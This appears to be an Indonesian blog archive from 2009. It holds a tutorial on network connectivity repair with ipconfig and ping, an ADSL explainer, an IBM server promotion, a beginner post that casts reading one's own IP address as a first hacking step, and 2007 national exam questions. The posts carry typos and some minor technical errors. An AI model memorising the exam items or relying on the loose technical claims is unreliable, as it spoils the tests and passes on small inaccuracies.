Persiapan untuk melakukan perbaikan konektifitas jaringan pada komputer client yang bermasalah harus terlebih dahulu mengetahui peralatan-peralatan yang akan digunakan dan dibutuhkan dalam jaringan tersebut. Selain peralatan dalam proses perbaikan konektifitas kita juga harus mengetahui jenis topologi jaringan yang digunakan oleh komputer client tersebut. Hal ini dilakukan agar dalam proses persiapan dan proses perbaikan kita tidak menggunakan sistem trial and error yang berarti kita hanya mencoba-coba saja tanpa mengetahui permasalahan yang dihadapi sebenarnya. Pada pembahasan berikut akan membahas tentang persiapan perbaikan konektiftas pada jaringan dengan topologi Bus dan Star. Alasan pembahasan hanya pada jaringan dengan topologi Bus dan Star karena kedua jaringan paling bayak digunakan.

1. Persiapan Perbaikan Konektivitas pada Jaringan dengan Topologi Bus

Merupakan topologi fisik yang menggunakan kabel Coaxial dengan menggunakan T-Connector dengan terminator 50 ohm pada ujung jaringan. Topologi bus menggunakan satu kabel yang kedua ujungnya ditutup serta sepanjang kabel terdapat node-node.

Karakteristik topologi Bus adalah:

* merupakan satu kabel yang kedua ujungnya ditutup dimana sepanjang kabel terdapat node-node.
* Paling prevevalent karena sederhana dalam instalasi
* Signal merewati 2 arah dengan satu kabel kemungkinan terjadi
collision (tabrakan data atau tercampurnya data).
* Permasalahan terbesar jika terjadi putus atau longgar pada salah
satu konektor maka seluruh jaringan akan berhenti
* Topologi Bus adalah jalur transmisi dimana signal diterima dan
* dikirim pada setiap alat/device yang tersambung pada satu garis lurus (kabel), signal hanya akan ditangkap oleh alat yang dituju, sedangkan alat lainnya yang bukan tujuan akan mengabaikan signal tersebut/hanya akan dilewati signal.

Persiapan yang dilakukan adalah dengan mempersiapkan peralatannya. Peralatan atau bahan yang dibutuhkan untuk jaringan dengan Topologi Bus adalah:

a) Kartu Jaringan (Network Interface Card/ LAN Card)

Sebuah kartu jarinagn (LAN Card) yang terpasang pada slot ekspansi pada sebuah motherboard komputer server maupun workstation (client) sehingga komputer dapat dihubungkan kedalam sistem jaringan. Dilihat dari jenis interface-nya pada PC terdapat dua jenis yakni PCI dan ISA.

b) Kabel dan konektor

Kabel yang digunakan untuk jaringan dengan topologi Bus adalah menggunakan kabel coaxial. Kabel coaxial menyediakan perlindungan cukup baik dari cross talk ( disebabkan medan listrik dan fase signal) dan electical inteference (berasal dari petir, motor dan sistem radio) karena terdapat semacam pelindung logam/metal dalam kabel tersebut.
Jenis kabel coaxial diantaranya kabel TV (kabel Antena), thick coaxial dan thin coaxial kecepatan transfer rate data maximum 10 mbps.

Kabel Coaxial atau kabel RG-58 atau kabel 10base2 (ten base two) memiliki jangkauan antara 300 m dan dapat mencapai diatas 300m dengan menggunakan repeater. Untuk dapat digunakan sebagai kabel jaringan harus memenuhi standar IEEE 802.3 10BASE2, dengan diameter rata-rata berkisar 5 mm dan biasanya berwarna gelap.

Konektor yang digunakan dalam jaringan Topologi Bus adalah dengan menggunakan konektor BNC. Konektor BNC ada 3 jenis yakni:

* Konektor BNC Konektor BNC yang dipasangkan pada ujung-ujung kabel coaxial.
* TerminatorBNC Konektor BNC dipasangkan pada ujung-ujung Jaringan dengan Topologi Bus yang memiliki nilai hambatan 50 ohm.
* TBNC Adalah konektor yang dihubungkan ke kartu jaringan (LAN Card) dan ke Konektor BNC ataupun ke terminator untuk ujung jaringan.

2. Persiapan Perbaikan konektifitas pada Jaringan dengan topologi Star

Topologi Star adalah topologi setiap node akan menuju node pusat/ sentral sebagai konselor. Aliran data akan menuju node pusat baru menuju ke node tujuan.

Topologi ini banyak digunakan di berbagai tempat karena memudahkan untuk menambah, megurangi dan mendeteksi kerusakan jaringan yang ada. Panjang kabel tidak harus sesuai (matching). Kerugian terjadi pada panjang kabel yang dapat menyebabkan (loss effect) karena hukum konduksi, namun semua itu bisa diabaikan.

Karateristik topologi Star adalah:

* Setiap node berkomunikasi langsung dengan central node, traffic data mengalir dari node ke central node dan kembali lagi.
* Mudah dikembangkan karena setiap node hanya memiliki kabel yang langsung terhubung ke central node.
* Keunggulan jika terjadi kerusakan pada salah satu node maka hanya pada node tersebut yang terganggu tanpa mengganggu jaringan lain
* Dapat digunakan kabel lower karena hanya menghandle satu traffic node dan biasanya menggunakan kabel UTP.

Persiapan yang harus dilakukan adalah mempersiapkan peralatannya. Peralatan atau bahan yang dibutuhkan untuk jaringan dengan Topologi Bus adalah:

1. Kartu Jaringan (Network Interface Card/ LAN Card)

Sebuah kartu jaringan (LAN Card) yang terpasang pada slot ekspansi pada sebuah motherboard komputer server maupun workstation (client) sehingga komputer dapat dihubungkan kedalam sistem jaringan. Dilihat dari jenis interface-nya untuk jaringan menggunakan topologi star menggunakan kartu jaringan jenis PCI.

2. Kabel dan Konektor

Kabel yang digunakan dalam Jaringan dengan topologi star adalah UTP (Unshielded Twisted Pair). Merupakan sepasang kabel yang dililit satu sama lain dengan tujuan mengurangi interferensi listrik yang terdapat dari dua, empat atau lebih pasang (umumnya yang dipakai dalam jaringan adalah 4 pasang / 8 kabel). UTP dapat mempunyai transfer rate 10 mbps sampai dengan 100 mbps tetapi mempunyai jarak pendek yaitu maximum 100m. Umumya di Indonesia warna kabel yang terlilit adalah (orangeputih orange), (hijau-putih hijau), (coklat-putih coklat) dan (biruputih biru).

Konektor yang digunakan dalam jaringan Topologi star dengan kabel UTP (Unshielded Twisted Pair) yakni menggunakan konektor RJ 45 dan untuk mengepres kabel menggunakan tang khusus yakni Cramping tools.

Memperbaiki Konektifitas Jaringan pada PC

Perbaikan konektifitas merupakan tindakan untuk memperbaiki atau menghubungkan komputer client dengan komputer jaringan. Tindakan yang dilakukan adalah termasuk pemasangan dan konfigurasi ulang perangkat yang diganti.

Pada pembahasan berikut akan membahas pada perbaikan konektifitas pada jaringan dengan Topologi Bus dan Topologi Star. Hal ini dilakukan untuk lebih memperdalam bahasan sesuai dengan kegiatan belajar yang pertama.
Tindakan perbaikan konektifitas jaringan melalui beberapa tahap yakni:

1) Pemasangan Kartu Jaringan (LAN Card) pada Motherboard

Pemasangan Kartu jaringan pada motherboar disesuaikan dengan kartu jaringan yang dimiliki apakah menggunakan model ISA atau PCI. Kartu jaringan model ISA tidak dapat dipasangkan pada slot PCI dan sebaliknya. Jadi pemasangan kartu jaringan harus sesuai dengan slot ekspansinya. Karena ukuran slot ekspansi yang tidak sama maka mempermudah dalam pemasangan sehingga tidak mungkin tertukar. Pemasangan kartu jaringan dapat dilakukan pada slot manapun selama slot tersebut tidak dipakai oleh komponen lain atau masih kosong. Karena apabila anda memindah komponen yang sudah ada maka saat menghidupkan komputer windows akan mendeteksi ulang pada seluruh komponen sehingga akan melakukan inisialisasi ulang ini terjadi pada windows 98, Windows 2000 dan windows XP.

2) Pemasangan Kabel pada Konektor

* Pemasangan Kabel Coaxial dan Konektor BNC
Pemasangan Kabel Coaxial dan konektor BNC harus dilakukan dengan hati-hati jangan sampai terjadi short atau hubung singkat karena dapat menyebabkan kabel yang kita buat membuat sistem jaringan menjadi down. Pengecekan apakah kabel tersebut dalam kondisi yang baik atau tidak putus ditengah juga harus dilakukan karena ini juga sebagai antisipasi supaya tidak terjadi kegagalan konektifitas. Pengecekan dapat dilakukan dengan multimeter pada kedua ujung apakah ada short atau putus tidak. Jika tidak ada maka dapat dilakukan penyambungan Kabel Coaxial pada konektor BNC. Setelah selesai penyambungan Kabel Coaxial pada konektor BNC harus di cek lagi apakah ada short atau putus dalam kabel tersebut dengan menggunkan multimeter.
* Pemasangan Kabel UTP dan Konektor RJ 45
Pemasangan Kabel UTP dan Konektor RJ 45 untuk jaringan susunan kabel harus dilakukan standarisasi dengan tujuan untuk mempermudah dalam penambahan jaringan baru tanpa harus melihat susunan yang dipakai jika telah menggunakan standarisasi pengurutan kabel UTP ke konektor RJ 45.

Pengkabelan menggunakan Kabel UTP terdapat dua metode yaitu:

1. Kabel Lurus (Straight Cable)
Kabel lurus (Straight Cable) adalah sistem pengkabelan antara ujung satu dengan yang lainnya adalah sama. Kabel lurus (Straight Cable) digunakan untuk menghubungkan antar workstation (Client) dengan Hub/Switch.

2. Kabel Silang (Crossover Cable)
Kabel Silang (Crossover Cable) adalah sistem pengkabelan antara ujung satu dengan yang lainnya saling disilangkan antar pengiriman (Transmiter) data dan penerima (Resiver) data. Kabel pengiriman data ujung satu akan diterima oleh penerima data pada ujung kedua begitupula sebaliknya penerima data satu merupakan pengirim data ujung kedua. Kabel Silang (Crossover Cable) digunakan untuk menghubungkan Hub/Switch dengan Hub/Switch atau antar dua komputer tanpa menggunakan hub.

3) Pemasangan Konektor pada sistem Jaringan

* Pemasangan Kabel Coaxial dengan konektor BNC pada Jaringan dengan topologi Bus
Pemasangan Kabel Coaxial dengan konektor BNC pada Jaringan dengan topologi Bus yang menggunakan T-Connector dengan terminator 50 ohm pada ujung jaringan. Topologi bus menggunakan satu kabel yang kedua ujungnya ditutup dimana sepanjang kabel terdapat node-node.
* Pemasangan Kabel UTP dengan Konektor RJ 45 pada Jaringan dengan Topologi Star
Pemasangan Kabel UTP dengan konektor RJ 45 pada Topologi Star adalah setiap node akan menuju node pusat/ sentral sebagai konselor. Aliran data akan menuju node pusat baru menuju ke node tujuan. Topologi ini banyak digunakan di berbagai tempat karena memudahankan untuk menambah, megurangi atau mendeteksi kerusakan jaringan yang ada.

4) Seting konfigurasi (penginstalan driver kartu jaringan, pemilihan Protocol, Pengisian IP Address, subnet mask dan workgroup.

Apabila secara hardware semua telah terpasang dengan baik maka langkah selanjutnya adalah konfigurasi secara software yang dapat dilakukan dengan cara:

a) Penginstallan Driver Kartu Jaringan (LAN Card)
Penginstalan driver dilakukan apabila kartu jaringan belum terdeteksi dikarenakan tidak suport Plug and Play (PnP). Hal ini disebabkan karena driver dari sistem operasi (98/Me) yang digunakan tidak ada sehingga memerlukan driver bawaan dari kartu jaringan tersebut. Cara yang dapat dilakukan adalah dengan cara:
Klik start pada windows 98/me >> setting >> Control Panel

b) Pemilihan Protocol
Biasanya setelah melakukan instalasi kartu jaringan (LAN Card) dengan baik secara otomatis akan memasukkan protocol TCP/IP dikotak dialog tersebut ( Gambar 21) namun apabila belum maka dapat dilakukan cara-cara berikut:

c) Pengisian IP Address dan Subnetmask
IP Address merupakan alamat komputer yang unik dalam sistem jaringan. Karena dalam sistem jarigan yang dituju adalah IP Address sehingga jika terjadi IP Address yang sama maka kedua komputer cross penggunaan alamat yang sama.

Kelas Alamat IP Address

IP Address dikelompokkan menjadi lima kelas; Kelas A, Kelas B, Kelas C, Kelas D, dan Kelas E. Perbedaan pada tiap kelas tersebut adalah pada ukuran dan jumlahnya. IP Kelas A dipakai oleh sedikijaringan, tetapi jaringan ini memiliki jumlah host yang banyKelas C dipakai untuk banyak jaringan, tetapi jumlah host sedikit, Kelas D dan E tidak banyak digunakan. Setiap alamat IP terdiri dari dua field, yaitu:

* Field NetId; alamat jaringan logika dari subnet dimana komputer dihubungkan
* Field HostId; alamat device logical secara khusus digunakan untuk mengenali masing-masing host pada subnet.

d) Pemilihan Workgroup
Pemilihan workgroup untuk menentukan kelompok mana yang kita hubungai. Workgroup dapat juga disebut nama Jaringan yang ada jadi untuk masuk sistem harus menuju ke nama jaringan yang dituju apabila tidak maka juga tidak masuk dalam sistem jaringan tersebut.

Memeriksa, Menguji & Pembuatan Laporan Hasil Pemeriksaan dan Perbaikan Konektifitas Jaringan pada PC

Tindakan yang dilakukan setelah konfigurasi sistem selesai dapat dilakukan tindakan akhir yakni:
1) Pemeriksaan ulang konfigurasi jaringan

2) Pengujian konektifitas jaringan

3) Pembuatan laporan hasil perbaikan pekerjaan yang telah
dilakukan

Dengan tindakan-tindakan tersebut diatas diharapkan perbaikan konektifitas dapat teruji dan handal sehingga tidak menggangu jaringan yang telah ada. Tindakan-tindakan yang harus dilakukan untuk mengetahui apakah konektifitas yang telah dilakukan berhasil dapat dilakukan dengan cara:

A. Pemeriksaan ulang konfigurasi jaringan Pemeriksaan ulang konektifitas jaringan merupakan tindakan pengecekan ulang kembali dari proses paling awal yakni:

a) Memeriksa pemasangan kartu jaringan (LAN Card) apakah telah terpasang dengan baik atau tidak

b) Memeriksa Pemasangan konektor Kabel pada hub/switch atau konektor lain tidak mengalami short atau open,

c) Pemasangan konektor tidak longgar

d) Setting dan konfigurasi kartu jaringan secara software telah
benar sesuai dengan ketentuan jaringan sebelumnya baik dari instalasi driver kartu jaringan, Konfigurasi IP Address, Subnet mask dan Workgroup yang digunakan.

Apabila semua telah terpasang dengan baik dan benar maka langkah selanjutnya adalah pengujian konektifitas jaringan.

B. Pengujian konektifitas jaringan

Pengujian atau pengetesan jaringan dilakukan untuk mengetahui apakah komputer yang kita konektifitaskan telah berhasil masuk dalam sistem jaringan yang dituju.

Dalam menu network tersebut kita gunakan Fine Computer dimana kita akan melakukan pencarian berdasarkan nama komputer yang ada dalam jaringan saat penentuan identification pada saat penentuan workgroup.

Pada dialog find computer kita mencari berdasarkan nama komputer yang dicari. Hasil pencarian akan ditampilkan berupa daftar komputer yang telah sesuai dengan nama yang kita masukkan.

Cara pengujian hasil koneksi jaringan dapat pula dilakukan dengan cara double klik pada icon Network Neighborhood akan didapatkan daftar nama komputer yang telah masuk dalam jaringan sampai saat pengaksesan tersebut.

Cara lain yang dapat dilakukan untuk mengetahui apakah komputer tersebut telah terhubung dengan jaringan adalah dengan masuk pada windows explorer disana akan memberikan informasi secara lengkap.

Pengujian dapat pula dilakukan dengan menggunakan Ms Dos untuk melihat konfigurasi pada TCP/IP. Pada windows Ms Dos ketikkan C:>IPCONFIG/ALL (IP Configuration)

IPCONFIG (IP Configuration) memberikan informasi hanya pengalamatan TCP/IP pada konputer tersebut saja. Dari gambar tersebut bahwa komputer tersebut memiliki nomor IP Addres adalah 10.1.1.7 dan Subnet Masknya adalah 255.255.255.0 Untuk informasi yang lebih lengkap dapat juga dilakukan dengan mengetikkan pada Ms Dos adalah C:> IPCONFIG/ALL|MORE.

Dari tampilan IPCONFIG secara keseluruhan (all) dapat diperoleh informasi bahwa :

a) Host Name (Nama Komputer) adalah Komp_7

b) Diskripsi Kartu jaringannya adalah menggunakan Realtek
RTL8029(AS) jenis Eternet Adapter.

c) Physical Adapter adalah 00-02-44-27-25-73

d) IP Addres adalah 10.1.1.7

e) Subnet Masknya adalah 255.255.255.0

Untuk mendeteksi apakah hubungan komputer dengan jaringan sudah berjalan dengan baik maka dilakukan utilitas ping. Utilitas Ping digunakan untuk mengetahui konektifitas yang terjadi dengan nomor IP address yang kita hubungi.

Perintah ping untuk IP Address 10.1.1.1, jika kita lihat ada respon pesan Replay from No IP Address 10.1.1.1 berarti IP tersebut memberikan balasan atas perintah ping yang kita berikan. Diperoleh Informasi berapa kapasitas pengiriman dengan waktu berapa lama memberikan tanda bahwa perintah untuk menghubungkan ke IP Address telah berjalan dengan baik.

Apabila alamat yang dihubungi tidak aktif atau tidak ada maka akan ditampilkan data Request Time Out (IP Address tidak dikenal).

Berarti komputer tersebut tidak dikenal dalam sistem jaringan, atau sedang tidak aktif. Setelah melakukan pengujian pada sistem jaringan setiap komputer telah dapat terhubung dengan baik. Sistem jaringan tersebut dapat digunakan untuk sharing data ataupun printer, modem (Internet) dan sebagainya.

Sharing dimaksudkan untuk membuka jalan untuk komputer client lain mengakses atau menggunakan fasilitas yang kita miliki.
Untuk dapat melakukan sharing data dapat dengan cara masuk ke windows explorer pilih data atau directory yang akan disharingkan kemudian klik kanan lalu klik sharing.

Dengan sharing sistem jaringan dapat menggunakan 1 unit printer untuk mencetak data dari setiap komputer client sehingga memotong ongkos biaya untuk pembelian printer yang banyak.

Sebagai contoh sebuah komputer telah mensharing drive A, C, D, E, G dan sebuah printer canon berarti komputer tersebut membuka akses untuk setiap komputer dapat melihat, membuka dan menggunakan fasilitas printer yang ia miliki.

Refferensi IT

2009-10-28T02:10:00.000-07:00

Di sini beberapa refferal yang di gunakan dalam pembuatan blogs ini

-http://ilmukomputer.com
-http://xcode.or.id

Tulisan Anggota - 18095534

2009-10-28T02:02:00.000-07:00

ADSL adalah kependekan dari Asymmetric Digital Subscriber Line, sebuah teknologi yang memungkinan data kecepatan tinggi dikirim melalui kabel telepon. ADSL memungkinkan untuk menerima data sampai kecepatan 1.5-9Mbps (kecepatan downstream) dan mengirim data pada kecepatan 16-640Kbps (kecepatan upstream).

ADSL membagi frekuensi dari sambungan yang digunakan dengan asumsi sebagian besar pengguna Internet akan lebih banyak mengambil (download) data dari Internet daripada mengirim (upload) ke Internet. Oleh karena itu, kecepatan data dari Internet biasa sekitar tiga sampai empat kali kecepatan ke Internet. Karena kecepatan upstream dan downstream tidak sama digunakan istilah Asymmetric.

Ada beberapa referensi yang dapat digunakan untuk mengetahui lebih dalam tentang teknologi ADSL, beberapa diantaranya adalah,

http://www.dslforum.org/index.shtml – Forum ADSL
http://electronics.howstuffworks.com/dsl.htm – Bagaimana Cara Kerja DSL
http://www.cs.tut.fi/tlt/stuff/adsl/pt_adsl.html – Intro ke teknologi ADSL
http://www.rhapsodyk.net/adsl/HOWTO/ – ADSL di Linux
http://www.kitz.co.uk/adsl/adsl.htm – Ensiklopedia ADSL

Beberapa keuntungan ADSL

Anda dapat tersambung ke Internet, dan tetap dapat menggunakan telepon untuk menerima / menelepon.
Kecepatan jauh lebih tinggi dari modem biasa.
Tidak perlu kabel telepon baru, ADSL memungkinkan mengggunakan kabel telepon yang ada.
Bebrerapa ISP ADSL akan memberikan modem ADSL sebagai bagian dari instalasi.

Beberapa kerugian ADSL.

Sambungan ADSL akan bekerja dengan sempurna jika lokasi kita cukup dekat dengan sentral telepon. Paling tidak dalam jarak 2-3 km bentangan kabel biasanya cukup aman untuk digunakan ADSL sampai kecepatan sekitar 8Mbps. Teknologi DSL yang baru dapat mengirimkan dapat pada kecepatan sangat tinggi s/d 100Mbps, tentu untuk jarak yang sangat pendek.
Sambungan ADSL lebih cepat untuk menerima data daripada mengirim data melalui Internet.
Kabel tembaga tua dapat menurunkan kualitas sambungan dan menurunkan kecepatan.
Jasa ADSL tidak ada di wilayah yang tidak ada kabel telepon.

Varian DSL – xDSL

Tentunya banyak varian dari teknologi DSL, beberapa diantaranya adalah

Keluarga ITU Nama Ratifikasi Kecepatan Max.
ADSL G.992.1 G.dmt 1999 7 Mbps down, 800 kbps up
ADSL2 G.992.3 G.dmt.bis 2002 8 Mb/s down,
1 Mbps up
ADSL2plus G.992.5 ADSL2plus 2003 24 Mbps down, 1 Mbps up
ADSL2-RE G.992.3 Reach Extended 2003 8 Mbps down
1 Mbps up
SHDSL G.991.2 G.SHDSL 2001 5.6 Mbps up/down
VDSL G.993.1 Very-high-data-rate DSL 2004 55 Mbps down, 15 Mbps up
VDSL2 G.993.2 Very-high-data-rate DSL 2 2005 100 Mbps up/down

Server Berkemampuan Tinggi Selalu Mahal……….???

Faktor biaya dan kinerja ini merupakan faktor terpenting yang banyak menjadi hambatan pelanggan untuk menggunakan server besar berbasis prosesor Intel. Ganjalan serupa juga membuat prosesor berkemampuan tinggi susah untuk masuk ke mainstream pusat data korporat. Dengan arsitektur standar terbaru yang digagas IBM maka kesan mahal pada sebuah server berkemampuan tinggi berusaha ditepis oleh IBM, berhasilkah?

IBM eServer bisa dibilang adalah pionir dalam menciptakan arsitektur yang andal dengan pendekatan “building block”. Dengan pendekatan tersebut maka pelanggan dimungkinkan untuk mengeluarkan biaya secara bertahap sesuai dengan kebutuhan mereka.

Kapasitas maksimum server tersebut adalah 16 prosesor dengan kapasitas memori mencapai 64-GB. Vendor-vendor besar lain pada umumnya menawarkan sistem-sistem dengan skala hanya seperduanya dan tidak dapat dikembangkan lebih lanjut, atau mereka mengharuskan pelanggan melakukan investasi besar sejak di awal pembangunan sistem yang sering memberatkan. selain itu arsitektur eServer terbaru ini juga menggunakan pendekatan yang terbuka (proprietary) agar lebih fleksibel.

Sistem server IBM terbaru yang memiliki kemampuan tersebut adalah, IBM eServer x440 yang dilengkapi dengan teknologi Enterprise X-Architecture (EXA). Server ini merupakan hasil dari upaya pengembangan selama 3 tahun dari IBM untuk menciptakan sebuah server papan atas berbasis Intel yang menggunakan teknologi standar di industri dan memiliki kemampuan untuk menjalankan aplikasi-aplikasi inti yang menggerakkan e-business.

Fleksibilitas terbaik untuk E-business

IBM eServer x440 ini ditargetkan untuk e-business di mana mesin ini dapat digunakan sebagai server tunggal berskala besar yang mungkin menjalankan database berukuran besar atau server dengan kemampuan mendukung sejumlah server virtual yang lebih kecil guna mengkonsolidasikan, misalnya, beberapa server e-mail, menjadi satu server saja dengan tujuan menekan biaya. eServer x440 ini mendukung sistem-sistem pengoperasian Microsoft Windows dan Linux dalam satu konfigurasi SMP, di samping memiliki kapabilitas untuk mendukung hingga empat partisi fisik atau hingga 64 partisi virtual. eServer x440 ini menyediakan platform untuk konsolidasi server dan aplikasi-aplikasi untuk sistem tunggal berskala besar seperti database engine untuk business intelligence.

Digerakkan oleh teknologi Enterprise X-Architecture dari IBM, sistem ini dapat tumbuh hingga 16 prosesor Intel IA-32 Xeon MP dua kali lebih banyak
dibandingkan dengan kompetitor terdekatnya dan empat kali lebih banyak dari kebanyakan sistem yang lain.

Prosesor Intel Xeon MP mengimplementasikan arsitektur cache tiga tingkat yang unik, yang memungkinkan prosesor ini mengakses data yang sering
digunakan dengan lebih cepat lagi dari sebelumnya, sekaligus memperbaiki kinerja sistem secara keseluruhan, kinerja aplikasi back-end dan mempersingkat waktu respon di sejumlah besar aplikasi database dan pengelolaan pelanggan.

Prosesor Intel Xeon MP ini juga mencapai kinerja Front Side Bus setinggi 400-MHz, yang berarti data dikirimkan keluar dan diterima prosesor dengan
kecepatan 3,2-GB per detik. Ini merupakan peningkatan yang substansial dari kecepatan 1,06-GB per detik yang diberikan oleh desain prosesor Pentium III
yang menggunakan kecepatan Front Side Bus 133-MHz.

Prosesor ini juga menggunakan teknologi yang dinamakan Hyper Threading, yang memungkinkan perangkat lunak server yang multi-threaded untuk
melaksanakan sejumlah tugas secara paralel dalam setiap prosesor, dengan demikian memungkinkan pemakaian sumber-sumber daya prosesor yang independen
secara simultan dan lebih efisien.

IBM, seperti yang diungkap Suryo Suwignyo, Country Manager, Enterprise System Group, IBM Indonesia berharap pengenalan teknologi tersebut bisa menjadi era baru di mana teknologi dan kemampuan untuk menciptakan sistem-sistem yang kokoh menjadi amat penting. Seperti kata Suryo, para vendor yang pandai dalam merakit komponen-komponen yang tersedia di pasar akan ditantang untuk memberikan tingkat skala dan keandalan sistem yang dituntut pelanggan yang membutuhkan sistem-sistem seperti ini bagi infrastruktur bisnis mereka.

Inovasi yang ditampilkan

XpandOnDemand : Dengan memberi fitur skalabilitas atau ‘berbelanja hanya pada saat mesin ingin ditingkatkan kemampuannya (XpandOnDemand) akan membantu pengguna mengakomodasi pertumbuhan bisnis yang tidak diduga sebelumnya. Sebagai opsi konfigurasi “bayar sesuai kebutuhan pertumbuhan” yang sederhana, XpandOnDemand adalah alternatif bagi penawaran dari vendor lain yang rumit dan mahal. Bisnis-bisnis dapat mulai dengan satu sistem 4-arah, kemudian meningkatkan dukungan kapasitas perkomputeran hingga menjadi sistem-sistem dengan 16 prosesor dengan menggunakan modul penambahan 4 prosesor bila diperlukan. Komunikasi di antara modul-modul ini berlangsung dengan
kecepatan sangat tinggi, yaitu 3,2 Gigabit per detik, yang mengimbangi kecepatan prosesor-prosesor di server ini.

High Performance Scaling : Dengan hasil skalabilitas 66% dari SAP 2-tier 4-arah sampai 8-arah, x440 mendemonstrasikan kapabilitas kinerja kepemimpinannya dalam menjalankan aplikasi yang sesungguhnya (real-world). Digerakkan oleh Cache Accelerator Server XceL4TM yang baru, yang menempatkan data yang sering digunakan lebih dekat ke mikroprosesor untuk mendapatkan throughput yang lebih baik, xSeries 440 ini dioptimalkan untuk kinerja puncak bagi aplikasi-aplikasi solusi e-business yang mission-critical seperti database, CRM, ERP dan business intelligence.

Densitas : Server berbasis Intel berskala besar dengan tingkat kepadatan (densitas) yang tertinggi di industridengan form factor kompak 14 inci (8U) yang dapat menampung server 16-arah dalam ruang hanya seperlima dari server Unisys yang menjadi pesaingnya. Sistem-sistem 7U 8-arah dari Compaq, Dell dan HP memiliki tingkat densitas 75 % lebih rendah dibandingkan sistem 8-arah eServer x440 dari IBM.

Workload Consolidation : Partisi sistem memungkinkan sebuah server 16-arah menjalankan satu sistem pengoperasian atau dibagi-bagi menjadi sampai 4
partisi server ‘fisik’ dan 64 partisi virtual dengan piranti-piranti (tools) dari perangkat lunak VMWare ESX Server yang menjalankan kombinasi-kombinasi aplikasi Microsoft atau Linux.

Teknologi Perbaikan Dari Dalam eLiza : Active Memory dengan Memory mirroring dan Memory ProteXion yang membantu menjaga agar sistem-sistem
terus bekerja walaupun terjadi kerusakan yang di waktu lampau akan membuat sistem berbasis Intel tidak berfungsi lagi. Fitur-fitur penyembuhan diri yang canggih seperti Real Time Diagnostics, Software Rejuvenation and teknologi Chipkill membantu memprediksi dan memperbaiki masalah yang potensial tanpa harus memutus hubungan server ke jaringan atau mematikan server yang rusak. IBM eServer x440 datang lengkap dengan IBM Director, sebuah solusi pengelolaan sistem yang terintegrasi dan dibuat berdasarkan standar-standar industri. IBM Director ini mendukung berbagai protokol dan platform.

Remote I/O (RIO) : Kemampuan menghubungkan PCI-XI/O dalam jumlah tiga kali lebih besar dibandingkan sistem-sistem pesaing yang menggunakan teknologi yang dipinjam dari sistem-sistem UNIX eServer pSeries papan atas dari IBM. Remote I/O memungkinkan 12 slot PCI/PCI-X untuk ditambahkan dengan jarak beberapa meter di luar server melalui sebuah port interkoneksi berkecepatan tinggi guna meningkatkan keandalan dan fleksibilitas dalam menambahkan peralatan-peralatan I/O seperti sarana penyimpan data dan pengontrol jaringan, fax/modem atau kartu-kartu antar-muka jaringan yang khusus untuk
lingkungan telekomunikasi

Tulisan IT

2009-10-24T02:27:00.001-07:00

Mengidentifikasi IP address

humm, dari tadi gw ngomongon hacking teruss...tapi ga ngasih tau caranya bagaimana dapatkan IP or gateway server
dari komputer tersebut dengan cara manual tapi ampuh bin dahsyat...hhehehe...
di sini gw bakal ngajarin kamu bagaimana caranya dapetin itu dengan sangad mudah dengan gaya yang keren lach(itu sich menurut gw)

sebelumnya, di sini kamu ga butuh program tambahan dalam melakukan hal ini, yang kamu butuhkan hanya kode-kode dalam DOS

caranya:
1. Kamu klik Start -> Run

2. Ketikan: CMD lalu Enter

3. Ketikan: IPCONFIG lalu Enter

4. Perhatika layar monitor, maka Kamu sudah dapat kan 2 point utama dalah hacking...yaitu IP address dan GATEWAY

5. simpan baik2 hal tersebut...

Pesan GW:
1. Jangan lebay dech or ketergantungan ma software or apalah yang kamu pake buat dapetin IP sendiri...
2. Ini baru awal pembelajaran yang sangat dasar buat gw tentunya...
3. Gw harap kamu bisa kembangkan kemampuan kamu di dalam hal ini
4. Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...

nice have fun ^,..,^

2009-07-27T04:25:00.000-07:00

SMK Bahasa Indonesia

2009-07-21T22:34:00.000-07:00

Ujian Nasional
Tahun 2007
BAHASA INDONESIA

Teks berikut untuk soal nomor 1 dan 2.
Bacalah teks berikut dengan saksama!
Perilaku sehat merupakan pilar yang paling utama. Hal ini karena komponen tersebut ternyata sangat berpengaruh pada kedua pilar lainnya. Seperti seseorang dengan perilaku sehat, tentu akan menjaga lingkungannya tetap sehat juga. Selain itu, dengan perilaku sehat, seseorang akan memanfaatkan fasilitas pelayanan kesehatan yang ada untuk memelihara kesehatannya.

UN-SMK-07-01
Ide pokok paragraf tersebut adalah...
A. memanfaatkan fasilitas kesehatan yang ada
B. menjaga lingkungannya agar tetap sehat
C. perilaku sehat akan berpengaruh pada pilar-pilar lainnya
D. berperilaku sehat akan menjaga kebersihan
E. perilaku sehat merupakan pilar utama

UN-SMK-07-02
Kalimat pertanyaan yang tepat sesuai isi paragraf tersebut adalah...
A. Mengapa perilaku sehat merupakan pilar paling utama?
B. Bagaimana cara menjaga agar lingkungan tetap sehat?
C. Apakah fungsi pelayanan kesehatan terhadap masyarakat?
D. Mengapa masyarakat harus memelihara kesehatan lingkungan?
E. Kapan pemerintah harus memberi pelayanan kesehatan?
Diagram berikut untuk soal nomor 3 dan 4 !
Cermati diagram dengan saksama!

UN-SMK-07-03
Hal yang digambarkan dalam diagram tersebut adalah ...
A. Sumber dan jumlah sampah di kota Mataram pada tahun 2003.
B. Sampah pasar menduduki persentase terendah di kota Mataram tahun 2003.
C. Sampah umum paling sedikit persentasenya di kota Mataram pada tahun 2003.
D. Sumber sampah tertinggi di kota Mataram pada tahun 2003 adalah saluran.
E. Sampah umum peringkat ketujuh di kota Mataram pada tahun 2003.

UN-SMK-07-04
Pernyataan yang sesuai dengan isi diagram-tersebut adalah ...
A. Sampah pemukiman volumenya terbanyak kedua dibandingkan sampah lainnya.
B. Sampah umum volumenya lebih banyak dibandingkan sampah komersial.
C. Sampah lain-lain volumenya lebih banyak dibandingkan jumlah sampah pasar.
D. Sampah pasar volumenya lebih besar dibandingkan jumlah sam pah komersial.
E. Sampah pasar volumenya lebih banyak dibandingkan sampah pemukiman.

Teks berikut untuk nomor 5 dan 6.
Bacalah teks berikut dengan saksama!
Beberapa waktu yang lalu banjir besar melanda Jakarta. Ribuan rumah tenggelam. Kerugian mencapai 39,5 milyar rupiah dan menelan korban 10 orang meninggal. Seorang penduduk di luar Jakarta menyurati redaksi sebuah surat kabar. Surat tersebut berisi pernyataan terhadap kondisi Jakarta. Menurutnya, Jakarta ternyata tidak seperti kota Metropolitan yang selama ini terlihat megah dalam sinetron.
